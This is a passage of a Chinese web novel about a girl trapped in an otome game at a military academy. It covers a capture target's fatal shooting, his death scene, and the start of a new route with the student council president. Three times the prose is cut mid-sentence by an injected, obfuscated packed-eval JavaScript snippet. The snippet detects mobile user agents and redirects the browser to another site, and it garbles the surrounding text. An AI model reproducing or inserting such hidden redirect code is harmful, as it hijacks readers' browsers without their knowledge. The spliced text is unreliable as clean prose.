“你呀,从小这些好东西吃多了,鼻子嘴巴都要成美食家啦!经过我们小美食家鉴定的,肯定好吃……” 那一缕属于面包的香甜气息随着两人的对话逐渐远去。 夏林留意到了白川的动作停在了方才从驾驶位上起身那里。他的目光久久地望着那两人离去的方向,嘴唇紧紧地抿着,似有些出神。 夏林忽然觉得自己能想到白川在想什么。 若是当年他们能在一个富足的环境里成长,白川与白溪或许也能有这样温馨的场景和对话。 可时过境迁,从她在医务室外听到的激烈争吵来看,这对久别重逢的兄妹现在的关系显然已经不能回到幼时的亲密了。 这是白川自己的选择所导致的。可结合当时的情况,这是唯一能让两人都能获得更好的未来的那个选项。 夏林忽然想起了秦封之前说过的那句话: “如果‘家人’这个身份对于那个人来说只代表着一味的付出,那对那个人来说,未免也太辛苦了。” 被抛给陌生人的唐瑶可以尽情地去怨做出这个选择的哥哥白川,那么白川要去怨谁呢? 贫穷孤苦的身世?突然开战的帝国与联邦? 当时一个小孩又能有多好的办法? 日子还是要过的。 白川最终只能咬牙撑着。 夏林忽然开口:“我们去买个面包吧。” 白川如梦初醒,一时没有听清,于是又问了一遍:“什么?” 夏林看着白川的眼睛重复了一遍:“我们一起去买个面包吧。刚才那两个人不是说店里出了很好吃的新品?” 这个拥有栗色柔软卷发的少年微微怔了一下,唇边缓缓地漾开了一个微笑。他应声得很轻快:“好!” 然而少年眼中的光亮还未达眼底,瞳孔中倒映出对面夏林位置上的移动红色瞄准激光让白川的眼神瞬间转为凌厉。 他立即往夏林的位置一扑,把人按在了座椅的遮挡下,同时摸出了腰间的枪,反手就要朝激光过来的位置开枪。 因为红色瞄准激光是新手才会用的辅助射击方式,所以非常容易找到枪手的位置。 但当白川看向枪手所在的方位时,那只扣在扳机上的手指忽然僵住了。 下一秒。 从另一个刁钻角度过来的子弹通过座椅的缝隙倾斜着进入了他的身体。 被意想不到的怪力突然按在座椅下的夏林终于感觉到上面的力道一松,刚抬起头,就看到侧边的白川俯着身,一只手撑着座椅,一只手紧紧地按着自己肩膀下方的位置。 因用力而泛白的手指间,鲜红的血色逐渐在蓝白制服上往外蔓延。 枪伤!? 夏林瞳孔一缩。 人口密集的闹市区里居然有人当街开枪? 夏林劈手抢过了白川手上还握着的枪支,刚欲行动,一只手死死地抓住了她的手臂。 “快……走。” 白川脸色惨白,每说一个字喉咙上就涌上一股腥甜,鲜血从他的唇角不断溢出。 这个位置,他这是……伤到了肺? 这个致命认知让夏林浑身的血液瞬间冰封。她僵了一秒,随即一个扑身跃到了驾驶座上,按下了按钮开启飞行器的防护罩。 “你必须尽快得到治疗。” 夏林启动了飞行器,打开导航地图找到了上面最近的医院,看了一眼方位就全速前进。 “不……不能……” 从副驾驶座上传来白川气息微弱的声音。夏林瞥了一眼,沉下了眼眸再次加速。 “滴滴,滴滴。” 未知视频通讯?这个时候? 夏林蹙了眉,按下了接通。 “……不是说过是非致命弹吗?你的枪……” 画面还未出现,歇斯底里的女声率先传了过来。 这个熟悉的声音让夏林一震。视线立刻转到了通讯画面上。 居然真的是唐瑶。在她旁边的人是……司昊泽? 依然把军校制服外套当披风的红发青年摆了摆手,对身旁愤怒的女生一脸歉意,然后指了指画面: “抱歉抱歉,三年级毕业生是有发实弹的,我一时间忘记了。你看我这不是连忙拨通了视讯吗?” 唐瑶一听,立马扑到了镜头前,死死地盯着白川所在的半边画面。 “……你,你还好吗?打中哪了?失血……这么严重!?” 看清白川那边的副驾驶座情况后,唐瑶出现在画面中的表情又害怕又慌张,整个人快哭出来了。 “夏林学妹,你们这个路径……是现在要去XX医院吗?那边有点远,医疗设备也很一般。完全不如你回天宿军校来得快哦。”从另一边的画面里传来司昊泽好心提醒的声音。 对了,还可以回学校。 夏林驾驶的飞行器在空中一个急停。 方才她一着急,脑海中只记得要去医院治疗,没有想起来还可以去军校设备优良的医务室。 可眼下她驾驶着飞行器已经驶出了一段距离,现在他们回去天宿军校和继续前往医院,路程其实是差不多的。 但司昊泽说天宿军校的治疗设备更好? 权衡之后,夏林迅速在脑海中做出判断。 白川的伤不能耽搁太久,那就…… “不能回去。” 副驾驶上传来的声音让夏林握着操纵杆的手一顿。 她回过头,白川脸色惨白地冲她小幅度摇了摇头,面露恳求。 “绝对……不能回去,学姐。” 那双棕色眼眸神采黯淡,其中表达的意思却尤为坚定。 夏林重新看向前方:“我知道了,你不要再说话了。” 她按了一下某个按钮,对之前提出建议的司昊泽道:“学长,我们已经距离学院挺远了,就算医院设备不够好,有正规资质也能紧急处理,还是打算先去医院。” 实际上就算白川不说,她刚才也不打算回学校。 唐瑶和司昊泽的出现过于突然。而且方才司昊泽轻飘飘的那一句“忘记换非致命弹”,实在是可疑。 作为军校毕业班的学生,成绩优秀的司昊泽真的能“忘记”吗? 眼下最重要的还是白川的伤。 夏林正欲抬手关闭视讯专心驾驶,可对方的画面突然一阵扭曲,像是光脑通讯的持有者受到了什么干扰。 等画面重新稳定后,对方画面上的内容却让她瞳孔一缩。 “司昊泽学长……?” 方才还完好的唐瑶此时脸上多了几块青紫,整个人奄奄一息地被人踩在脚下,眼神有些涣散,像是被人用力砸了一拳在头上。 她的头顶上是一个黑洞洞的枪口。 “不要再动了哦,不然容易走火,你知道的,这是实弹。” 蛊惑低沉的嗓音与先前别无二致,其中的内容却让人脸色骤变。 警告完了这边,红发的青年视线落在了白川的伤口部位,对着镜头挑眉一笑:“看你时间紧迫,我就长话短说。” “只要你们回来,我就第一时间送你去治伤,自然也会放了这位唐瑶妹妹,是个皆大欢喜结局。” 他顿了一下: “或者么?我保证你们去的那家医院不会对你们提供任何医疗救助,甚至这颗星球上的任何一家医院都不会。在你们关闭视讯的同时,也得跟这位唐瑶妹妹说永别?” 司昊泽没有拿枪的另一只手摩挲了一下下巴,用所有人都能听到的音量“小声”道:“不对,或许这应该叫在另一个世界相聚?” 这句话一出,气氛如绷紧的弦一触即发。 “选吧?白川。” 司昊泽对两边阴沉的脸色均视而不见,他兀自放下了手,饶有兴致地盯着白川那一边。 白川始终没有看正面的视讯光屏画面。他维持着侧脸朝着夏林那边的姿势,竭力睁着眼。 那目光空空朦朦的,没有落在任何一个地方。 外面的霓虹表演还在继续。这些流光溢彩的霓灯经过飞行器的灰度保护罩一过滤,落在里面只剩下黑白深浅不一的斑驳光影。 明暗之间,那双棕色的眼眸交错晃动,似有什么在无声地流淌。 “走。” 夏林听见了白川说出的这个音,但却一时间没动。 她知道第一个选择绝对不会像司昊泽说的那样好,可现在那边是以唐瑶的性命作威胁,白川却依然要选第二个? “啊!” 此时,光屏对面传来一声痛呼。司昊泽无视中枪后坐在地上抱着腿痛苦颤抖的唐瑶,对着光屏抬了下眼: “白川,你是觉得我不敢对普通学生开枪吗?最好想好了再选哦。” 白川依然没有朝光屏看,也对那边被刻意压低的痛苦呻吟恍若未闻。他重复了一遍之前的话语: “走吧,学姐。” 话落他不顾身上的伤口,忽然伸出手关闭了视讯。然后按下了驾驶位侧边的一个隐藏按钮。 夏林注意到飞行器直接进入了自动驾驶模式,加速朝着另一个方向而去。 “白……” 她偏过头刚想问白川这是去哪里,却发现副驾驶上的栗发少年已经疲惫地闭上了眼。 夏林呼吸一滞,伸出了手去探鼻息。 还好。 还有微弱的呼吸。 · 另一边。司昊泽看着视讯中断的同时消失在追踪地图上的光点,“啧”了一声,随手把手中唐瑶的光脑一扔,转而拿出了自己的光脑。 他瞥了一眼地上自从听到白川说“走”之后就宛如被按下了停止键的唐瑶,嘴里的风凉话张口就来: “真是没用啊。又被人像垃圾一样抛下了呢,可怜的唐瑶妹妹。” 唐瑶依然没动。 说话间,司昊泽已经用自己的光脑发完了讯息。他收起了光脑,歪头想了想,走到唐瑶身边冲她伸出了手: “走吧,我带你回天宿军校治伤。毕竟你今天跟我外出公务的时候不小心遭遇了伪装混入我校的极恶星盗。” 这句话里蕴含的巨大信息让唐瑶回过了神。她抬眼看向这个方才还无情冲她开枪,此时却微笑着朝她伸出手的红发男人: “白川放弃了你。你也要放弃自己吗?” 耳边响起缱绻嗓音如附骨之毒。腿上的伤口似乎更痛了。 她疲惫地闭上了眼,搭上了那只手。 她觉得很抱歉,她不该借着那次医院探病吵架的时候,悄悄地在白川身上放定位器。 也不该轻信了其实不是很熟的司昊泽,这样白川就不会中枪了。她从来没有想让任何人受伤的。 她当然没有信司昊泽“忘记换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041067|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成非致命弹”的鬼话,她当时就知道她犯错了,她想抢回自己的光脑。 怎么会发展成这个样子呢? 算上这次,白川没选择自己的次数已经到了三次。 可她心里知道,她的哥哥,从来不会做对她不好的选择。 所以她真的很讨厌一无所知的自己。 为什么每次都不能和哥哥站在同一边呢? · 飞行器自动导航所到的目的地是距离市区不远的一处大山里。 着陆时的光亮让夏林发现不远处有一座小木屋。她先进去查看了一番,确认没有异常后才返回飞行器将白川吃力地搀扶进了木屋里。 夏林让白川躺在了屋内唯一的床上,然后立刻开始在屋内四处翻找。 刚才搀扶时她感觉到白川的体温很高,怕是伤口引发了炎症导致发热了。 有了! 消炎药、抗生素、凝血剂,甚至还有简易的治疗仪……这里似乎是白川的一处落脚点,屋子不大,但里面物资都很齐全。 夏林心里安心的感觉只出现了一瞬,很快又重新跌入了谷底。 可那颗子弹若是真的伤到了肺部,根本不是这些简单的药品可以治疗的。 果然应该去医院的。 此时身后的床上似有一些呓语传来。夏林瞬间回了神,连忙把找到的药品就着水让白川喝下。 现在的药品起效极快,不多时,白川的气息就比先前平稳了许多。 夏林站起身,还是打算把白川送去医院。 正当她伸出手圈过了白川脖颈,躺在床上的少年忽然睁开了眼: “学姐,你是打算偷偷亲我吗?我准备好了哦。” 话落他自己忍不住笑了一下,这气息一动又扯到了伤口,表情一秒转为了痛苦的呲牙咧嘴。 夏林皱眉道:“别说话了。我还是带你去医院。” “医院……不会救助我的。” “大不了用这个先抢一个治疗舱。” 夏林拿出了之前从白川手里抢下的枪,面无表情道。 白川一愣:“……学姐,你怎么比我还像星盗,我都没打劫过医院。” 他像是被自己这句话逗乐了,刚笑了一下又再次吃痛捂着伤口:“嘶,不用啦。不是我的问题,我的伤我自己知道。现在……可能是最后的时间了。” 白川此时脸色红润,神采奕奕,与之前气若游丝的虚弱模样截然不同。 夏林知道,人在弥留之际,会突然有一段时间焕发出更强的生命力。 她一时间不知道该说什么好,大脑中在飞快地思考对策。 “别难过,和学姐无关。早在司昊泽知道我和唐瑶……关系匪浅时,我就知道会有这一天的,甚至要不是学姐,或许我已经死在校外模拟实战那里了。”白川说话的语气很平静。 夏林察觉到白川依然没有告诉她,他和唐瑶是兄妹。 “是我的错,我在校外模拟实战帮助唐瑶时没注意被他看到了。只要我活着,他就会一直拿唐瑶来威胁我吧,大概也会去威胁唐瑶。” “唯一的庆幸是他那时候应该没有留下影像证据,刚才我也没有表现出和唐瑶亲近。只要我死了,应该就没问题了。” 夏林听到“死”这个字的时候忽然抬眼,她张了张口,脑海中千回百转,却最终转为了沉默。 他说的没错。 而且现在白川致命伤无法得到治疗,已经是必死的结局。 可即使知道了这些,在听到“只要我死了,应该就没问题了”这句话的时候,夏林心里依然隐隐地抽痛了一下。 现在她能做什么? 白川继续开口: “学姐,我之前和你说要告诉你一个秘密。实际上就是司昊泽委托我伪装身份入学寻找一个与机甲同步率能达到100%的学员。” “也就是你,夏林学姐。” 他顿了一下: “他没有和我说为什么要找这样的人。我自己私下查了一下,发现应该和那个‘236幽灵事件’有关。” “之前学姐在机甲模拟课上的操作数据我已经替换掉了。但这次的校外模拟实战,我因为受伤没有第一时间去干涉,后来虽然也删掉了,但司昊泽应该已经发现了。” “虽然不知道他要这样的人做什么,但学姐,你不是为了减轻家里负担才来军校的吗?是为了……算了,你绝对不能回去。” 说到最后一句的时候,白川伸手紧紧地握了一下夏林的手腕。 完全没想到那时候自己随便想的理由居然被白川记到了现在。 但夏林这时忽觉,白川的手已经极为冰凉,他原本红润的面色也不知何时转为了灰白。 “你……”夏林一惊,对上眼神时却发现那双棕色的眸子紧紧地盯着自己,像是一定要得到某种回答。 夏林一顿,看着他的眼睛一字一句道:“我知道了,我不会回去的。” 那只握着夏林手腕的手在不停地颤抖,在听到夏林的回答后放心地才松了开来。 白川似是彻底地放松了身体,眉宇间尽是疲惫之色。他不再看向夏林,而是虚虚地望向上方,喃喃道: “好累啊……嘴巴里都是血腥味。可是偏偏今天没有带……” 夏林一怔,忽然心领神会地伸手摸向自己的口袋,从里面拿出了一颗金色的巧克力。 那是最开始的时候,白川给她的。 她剥开了包装纸,将里面的巧克力拿了出来,俯身放到了白川唇边。 白川感觉到了,失了焦的视线渐渐聚集,最终在眼眸的深处清晰地映出了那个金发蓝眼的少女。 他直直地望着夏林,目光专注,像是在看着她,又像是在看着记忆里有着类似表情的某个人。 最后,张开了嘴把巧克力含了进去。 “好甜啊。原来金色的……是这么甜的吗?” “学姐你不知道。红色的,会有点苦。” 那双泛着水光的棕色眼眸一点一点地失去了光彩。 少年最后的话语音量已经轻到几不可闻: “太好了,你们……都没吃到……” 【恭喜玩家达成角色“白川”好感度100!】 冰冷的电子音在脑海中响起。 20. 纪承英1 “好感度虽然满了,但是角色死了,看来这种情况没办法进入结局剧情。” 不知何时出现在屋内的秦封扫了一眼床上已无生息的栗发少年,沉默了半响,他淡淡开口:“这个应该算是失败了。” 背对着他的夏林依然维持着之前坐在床边的姿势,没有回头,也没有回话。 无言的沉默在屋内久久徘徊。秦封抿了下唇,往前走了一步,刚欲开口说些什么,忽然听见前面人说: “这是失败的话,说明也有成功的方法吧?” 夏林停顿了一下,喃喃自语:“怎样才能成功呢?如果我一开始在校外模拟实战的时候拒绝了唐瑶他们……” “现在说这些也没有意义,”秦封顿了一下,在夏林身旁停下了脚步,“你不是已经做得很好了吗?好感度刷得很快,最后也成功到了100。” 秦封垂眸,声音柔和了一些:“不是你的错,是你选择的角色身份有问题。白川是贪狼星盗团的团长,他伪装身份进入帝国天宿军校被发现的后果本来就很严重,根本……基本不会有存活的可能。” 夏林一直没有动。 秦封蹙了眉。他垂落在身侧的手掌手指微微动了一下,然后缓缓上移,最后轻轻地落到了夏林的肩膀上。 “怎么了?”他的语调变得极为温和,像是观测者在竭力不惊扰到枝头上的飞鸟,“有什么问题?” 极近处的嗓音亦或是肩膀上接触传来的体温终于引起了金发少女的注意。 夏林微微侧了下身子。那双往日如大海般蔚蓝的眼眸此时蒙了一层雾气,视线朦朦胧胧的,不知思绪落在了何处。 她几度微微张了口又兀自闭上,秦封只听见了开头的一个字:“你……” 后面的话语她并没有说下去。 “……没什么。”他听见夏林这样说。 按在夏林肩膀上的手蜷了一下。 秦封望着夏林面上尚未干却的泪痕,想要抬手拭去的本能压了又起,最终只猛地收回了手,落在身侧紧紧地攥成了拳。 “既然没事的话,该想想下一步怎么办了?”他的声音已经恢复了往日的平静语调,听不出其中的情绪。 此时夏林也像是从思绪中回过了神。她抬手用袖子随意擦了一下眼睛,闭了闭眼,深呼吸之后才重新开口:“……是我小看这个游戏了,对这个游戏世界的背景内容了解不够,导致后续临近结局的这些关键突发事件,我基本没有干涉能力。” “如果在白川遇袭之后我不是急于求成只想着提高那10点好感度,而是去调查一下凶手,或许这个游戏现在已经成功了吧。” 即使是尽力在遮掩了,她的嗓音里还能听出一些低哑。 秦封沉默了一下,忽然说:“调查也是没有用的。” 气氛瞬间凝滞。 秦封感觉到夏林的目光停在了他的脸上,但他顿了一下,依然把后面的话继续说了下去: “司昊泽这个人的面具完美无缺,你在任何地方都不会找到他的负面信息,即使是现在也一样。” “……所以,你真的都知道啊。” 秦封听到对面的金发少女轻轻地叹了一口气。 听出这声叹息意义的秦封下意识地张了口想要说些什么,可他最终什么也没有说,只是紧紧的抿了一下唇。 “那,白川要怎样才能活下来呢?”过了一会,夏林问道。 “……我不知道。” 秦封抬眼看向夏林,一字一句道:“只有你做出正确的选择,才能让他们获得正确的结局。” 一句很有道理的废话。毫无价值。 夏林在心里无声地叹了气,但面上不显。她抬眼看向秦封,再次开口:“如果攻略角色的好感度达到100且进入了结局,我真的可以离开这里吗?” 秦封这次答得很快:“可以。” “那……”夏林站起了身,径直从秦封面前走过,没有再看身后的黑发男人一眼。 “谢谢你告诉我这么多,我知道了。” 她最后只留下了这句礼貌却疏离的话语,然后走出了木屋。 秦封的目光一直落在夏林的身上,直到她的身影消失在门外。 目前为止,都还算是意料之中的反应。 他一直知道夏林是个非常聪明且极有眼力见的人。所以即使他在这里明晃晃地透露他不一般,夏林也不会选择现在跟他撕破脸。 因为目前看来他掌握了更多的情报,在这里是优势方,识时务者为俊杰。 不过秦封也知道,他这算是彻底失去了夏林的信任。 如果不多说那两句,或许他可以装傻充愣地继续以“死对头但共患难”的身份呆在她身边,过一段岁月静好的限定时光。 可他看不得夏林继续责怪自己。 如果喜欢的人难过的时候,他就在身边却连一句安慰的话都无法传达,那这份感情到底还有什么意义? · 夏林启动了之前停在木屋外的飞行器,设置了自动驾驶的目的地为天宿军校,然后靠在座位上疲惫地闭上了眼。 这是太过漫长的一夜。 其实有些东西她也不是没有察觉到的。 比如说她进入这个乙女游戏的时间再怎么计算也是远远超过了现实时间12小时,可外面毫无动静。 比如说每次秦封的出现其实或多或少都在关键的游戏剧情时候,他的一些行动或话语也经常带有引导的意味,知道的信息似乎比她这个“真游戏玩家”要多得多。 比如说她觉得自己的记忆似乎出了一点问题。 细细回想了一下,原来这个乙女游戏已经有这么多不寻常的条件了。 那这还会是一个“寻常”的乙女游戏吗? 夏林微微睁开了眼,偏过头看向飞行器的窗外。 黎明的天色蒙蒙亮,半边是晨起的薄红,半边是还未退隐的星星。 昼与夜的分界线醒目地划在天边,然后随着朝阳的升起渐渐变得浅淡而又模糊,仿佛有一支无形的画笔在天边晕染,然后层层叠叠厚重地铺展开来。 秦封这个人在她心目中的份量,其实也比她想象中要重得多。 夏林望着天边忽然想到了。 并不是因为他是这个乙女游戏里唯一的现实伙伴,而是她心里其实十分认可“秦封”这个人。 尽管他们的关系是“死对头”。可正是这么多年下来一直旗鼓相当,才会成为“死对头”。 因为他们的目标始终都是一致的。 所以即使之前隐约感觉到值得怀疑的事越来越多,但眼看着好像快要结束这个乙女游戏了,出去后这些事都会烟消云散。她可以假装不知道。 她并不希望现实里她和秦封的关系因为区区一个短暂的游戏而产生什么变化。 至少直到秦封说出那两句话之前,夏林都是这么觉得的。 可若是在这个乙女游戏里,他们的目标不一致呢? 夏林沉下了眼眸。 她的目标就是尽快达成结局离开这个游戏。但从刚才秦封那两句话来看,他早就知道司昊泽有问题。 虽然秦封确实没有必须告知她情报的义务。但他难道不想离开这个乙女游戏吗? 如果秦封的目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048145|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 标不是离开这个乙女游戏,那他的真实目的又会是什么? 夏林一直在思考着这个问题。 · 飞行器降落在了天宿军校门口,正是夏林第一次进入游戏时的位置。 再次站在这里,心情已截然不同。 夏林刚从飞行器内走出,就敏锐地察觉到了气氛的不寻常。 她光明正大地从校外驾驶飞行器回来,不仅没有被拦,周围路过的那些军校生NPC居然无一人在意,反而个个脚步匆匆的,像是有什么急事。 现在的时间还没有到第一节课开始的时候。有什么事会让所有军校生都这么匆忙? 夏林随手拉住了一个走过的NPC学生,向他问道:“发生什么事了?” 那个穿着三年级制服的NPC男生有些奇怪地看了夏林一眼:“睡糊涂了吗?没收到学生会的全体通讯?这次的一年级新生里听说混进了一个星盗,现在要求所有学员回到各自的班级重新验虹膜和指纹辨明身份,而且……” 说着说着,他的目光渐渐落到了夏林的金色长发上,然后稍一斜视瞥见了旁边停着的飞行器。NPC男生顿时恍然大悟,话锋一转:“你是二年级的那个夏林吧?” 由于没带光脑正在消化前面信息的夏林冷不丁地听到了自己的名字,迟疑地回道:“……我是夏林没错。” “那就对了。”NPC男生点点头,看着夏林的目光带着点欣慰:“听说你昨天和司昊泽那小子还有一个一年级学妹一起出去抓那个星盗了?可以啊,挺勇敢的。据说你还是个转学生?你之前的学校……” 剩下的全是废话,夏林没有再继续听。 ……和司昊泽还有唐瑶一起出去抓星盗?这是司昊泽为他们几人擅自离校想出的借口? 唐瑶也就算了。还特意把她也摘出来的理由是……为了让她可以“名正言顺”地回学校。 夏林眼眸一沉,对那个提供消息的NPC男生说了一声“谢谢”便转身朝着某个方向快步跑去。 几分钟后,夏林猛地推开位于教学楼五楼学生会办公室的大门,瞬间吸引了里面一众人的注意力。 环顾四周,大部分都是不认识面孔的NPC。坐在沙发第一位的司昊泽依然吊儿郎当地翘着二郎腿,见她的视线扫过来还冲她亲昵地眨了眨眼。 仿佛昨晚上双方对峙的事从未发生过。 夏林没有把目光在司昊泽身上多停留一秒,而是直直地看向了那个坐在正前方书桌后宛如精灵王子般的金发男人。 迎着里面一众人心思各异的目光,她紧紧盯着学生会长纪承英那双宛如最上品绿宝石般纹理剔透的眼眸,为了不错过其中的任何一丝情绪变化,刻意一字一句清晰地说道: “白川……已经死了。” “是我杀的。” 紧接着,那双绿眸中掀起的波澜与夏林所想的完全一致。 【恭喜玩家进入攻略支线:纪承英。】 【当前“纪承英”好感度:35/100。】 夏林看着眼前出现然后又缓缓消失的系统提示框,忽然想起之前出现这个框上次出现是在她答应和白川一起去校外模拟实战的时候。 她是有意为之的。但那时那个栗发卷卷的少年在感到意外之后又瞬间亮起来的眼神,现在想想应该是鲜少听到有人说“和他一起”这种话的反应。 习惯了任何事都一个人独行,习惯了做出不被他人认可的决定,习惯了由自己背负一切。 白川,就是这样的人。 夏林重新把视线落到了纪承英身上。 她忽然觉得有些沉重。 21. 纪承英2 “白川,那个‘贪狼’星盗团新晋的年轻首领,死了?” 价值不菲的红木书桌后,华丽矜贵的学生会长抬起了他的眼皮,认真地注视着门口闯入的金发少女。 在那双宛如最上等祖母绿的眼眸注视下,语气平静的问话似乎也沾了些压迫感。 “你杀的?”这句的尾音有些许的上扬,仿佛在表达问话人的不解与困惑。 在一旁司昊泽兴味的目光中,夏林睁眼说瞎话,脸上表情半点没变:“是的。” “嗯……”坐着的纪承英用指尖轻轻地点了一下桌面,他重新启唇,“你说说,怎么杀的?” “我和白川关系极好,在校外模拟实战的时候我们也是同组的伙伴。昨晚司昊泽学长揭穿白川星盗身份时,我依然假装站在他那一边继续对抗司昊泽学长,获取了他的信任。最后一同回到他的秘密据点时,本想趁其不备将他控制住,没想到他实力不俗,争斗期间为求自保,不得不将其击毙了。” 夏林将之前准备好的说辞尽数讲出,然后视线一转,朝着司昊泽的方向递出了白川的那把枪。 翘着二郎腿坐在沙发上的红发男人定定地回看了夏林两秒,然后站起身,走过来接过了枪,放在掌心里把玩,同时面朝着夏林似是不经意间问起: “尸体呢?” 夏林答得很快:“我停在学院正门的飞行器上有路线记录。” 随着夏林这句话落下,在男人掌心不停转动的枪被他一把握紧。 司昊泽转过身,朝着正前方坐着的纪承英张开手掌晃了晃手里的家伙示意: “会长,学院内所有学生身份信息的排查工作应该还需要你坐镇吧?这边就让我替你去看看?” 纪承英思索了片刻:“……也好,回来了向我报告。” 司昊泽比了个手势表达自己知道了,然后从夏林身旁经过,干脆利落地推开门出去了。 期间没有再和她有任何视线交汇。 夏林微微瞥了一眼后方远去的人影,眼底的眸色深了几分。 这是她与司昊泽的博弈。 从司昊泽特意为她编造的借口来看,白川说得没错。 司昊泽或许已经发现了她就是那个他要找的人,但机甲操作数据都被白川删除了,他没有证据。 他为了获得明确的数据,还需要夏林作为“普通学生”在天宿军校里继续呆下去。 白川身上的枪伤是司昊泽打的,自然不是她交出去的那把枪。同时那架飞行器上也有留下不少痕迹。 一个谎言往往需要由无数个谎言来掩盖。 如果她方才和纪承英说的那番话被揭穿了,同时司昊泽的谎言也会完蛋。 既然秦封说过这个人的伪装面具完美无缺,想必自有他的手段。 不出意外,司昊泽应该会带回来一份与她方才陈述的“事实”完全符合的报告。 那么,现在就只剩下一个问题。 夏林抬眼看向纪承英,说:“我有一件事想单独问问你。” 学生会长沉思片刻,抬起下颚给了周围一个眼神。 会意的其他人纷纷鱼贯而出,偌大的学生会办公室很快只剩下了夏林与纪承英两个人。 “有什么想问的?” 金发碧眼的男人用一只手托着头看她,问话的语气温柔而又缱绻,像是在哄到陌生场所而感到不安的小孩。 然而夏林的下一句话让他动作一顿。 “关于那个‘236幽灵事件’,帝国现在依然在这所天宿军校内寻找些什么吗?” · 帝国所属的天宿军校最近发生了两件大事。 一是新生里面居然混入了星盗,导致全校所有学员教官身份信息都重新核查;而这第二件…… 现在虽然已是上课中,但二年A班的所有学生,包括上面讲课的教官都会时不时地瞄向中央前排的那两个座位。 更准确地说,是偷瞄那两个拥有相似金色长发又坐在相邻座位的人。 这周周一的早上,天宿军校建校百年以来唯一的全科满分学员,学生会长纪承英申请了更换班级。 还一整天和那个转学生夏林形影不离! 这无疑也是堪比星盗入军校的大事。毕竟这位学生会长虽然表面上看着和和气气温温柔柔的,但自从他上位了之后,立即采取了铁血手腕整治全校学风。 包括但不限于: 无缘由不参与训练、上课迟到早退的,记警告一次; 成绩不及格且一学年内没有任何进步迹象的,记警告一次; 携带任何违禁物品入校,私自改装配发光脑程序,记警告一次; 无视警告且累计达到三次的,退学处理。 天宿军校作为帝国排名第一的军校,在当前战时状态重武轻文的背景下入学的权贵子女也不在少数。 纪承英一发布这些学生会管制标准,自然是激起了不小的反抗。 但仅一学期,那些“响亮的反对声音”全都销声匿迹了。 也不知道是用了什么手段,但轮到纪承英巡逻时,每当那双碧绿的眸子一扫,那些各个班级的刺头全都安静如鸡,怂成了鹌鹑。 细思极恐! 这样的学生会长入学以来只有三年级的纪承英一直与他交情甚好,据说是因为两人以前就认识。 可现在这朵高岭之花旁边又多了一个人。 这怎么能不引人注目呢? 夏林坐在座位上,对四面八方NPC的种种视线浑然不觉。 她自然也是没在听那些她早就学过的军校基础理论课,只是自顾自整理着目前为止已知的剧情。 攻略人物换成了纪承英,和白川自然是不同的。 她记得先前介绍“236幽灵事件”时,曾提到过联邦的卧底趁机行刺皇帝,但因为一位恰好在宫内的“纪淮宇将军”,所以行刺失败。但他本人却因此牺牲。 这个游戏开始到现在出现的人物并不多,由相同的姓氏联想到“学生会长纪承英”也不是很难。 那位牺牲了的“纪将军”极有可能就是纪承英的父亲,亦或是其他直系血亲。 亲人被联邦卧底杀害了,纪承英自然会对联邦深恶痛绝。而星盗虽然不属于联邦,但也一向是趁火打劫的罪魁祸首。即使这次白川卧底进入帝国军校的目的尚且不明,但也几乎是把这位身负血海深仇的学生会长所有雷都踩了个遍。 所以她之前在纪承英面前说她杀了白川的时候,虽然对方面上不显,但好感度很诚实地增加了。 想到这里,夏林不禁瞥了身旁人一眼。 这位金发碧眼的模范学生正全神贯注地看着前方的光屏,一个眼神都没有往其他地方飘。 仿佛他身边什么人都没有。 ……然后就是她目前不理解的部分了。 昨天对于帝国军方是否在天宿军校追查“236幽灵事件”的疑问,纪承英给出了一个否定的答案。 看对方当时的表情,对于她突然提到那个事件还是有些意外的,不像是在隐瞒什么。 而且她后面又试探性地问了几句,纪承英似乎对机甲同步率100%和“236幽灵事件”有关这件事毫不知情。 那事情就变得复杂起来了。 夏林本以为司昊泽只是选择了私底下雇佣星盗来找人,找到之后怕被纪承英知道用了这种方式所以才对白川杀人灭口湮灭证据。 但如果纪承英从头到尾都不知情,那司昊泽的行动就有两种可能了。 第一种可能,帝国某位权贵直接委托的司昊泽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050792|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,并没有选择作为将军之子的纪承英。 第二种可能,司昊泽并不是在为帝国找人。 可无论是哪种,从纪承英的立场来看好像都要完蛋了。 她原本是打算以“机甲同步率100%”的身份去和纪承英谈判的,这下是一个字都不说不了了。 但那时那些话问都问了,后面戛然而止显得她更可疑了。情急之下,夏林脱口而出了一句“和她一起行动七天,七天之后告诉纪承英一个秘密”。 说完之后夏林自己都愣了一下。 这么一目了然的拖延借口,可当时纪承英不知为何,只是深深地看了她一眼,然后什么也没问就同意了。 就有了现在的这个局面。 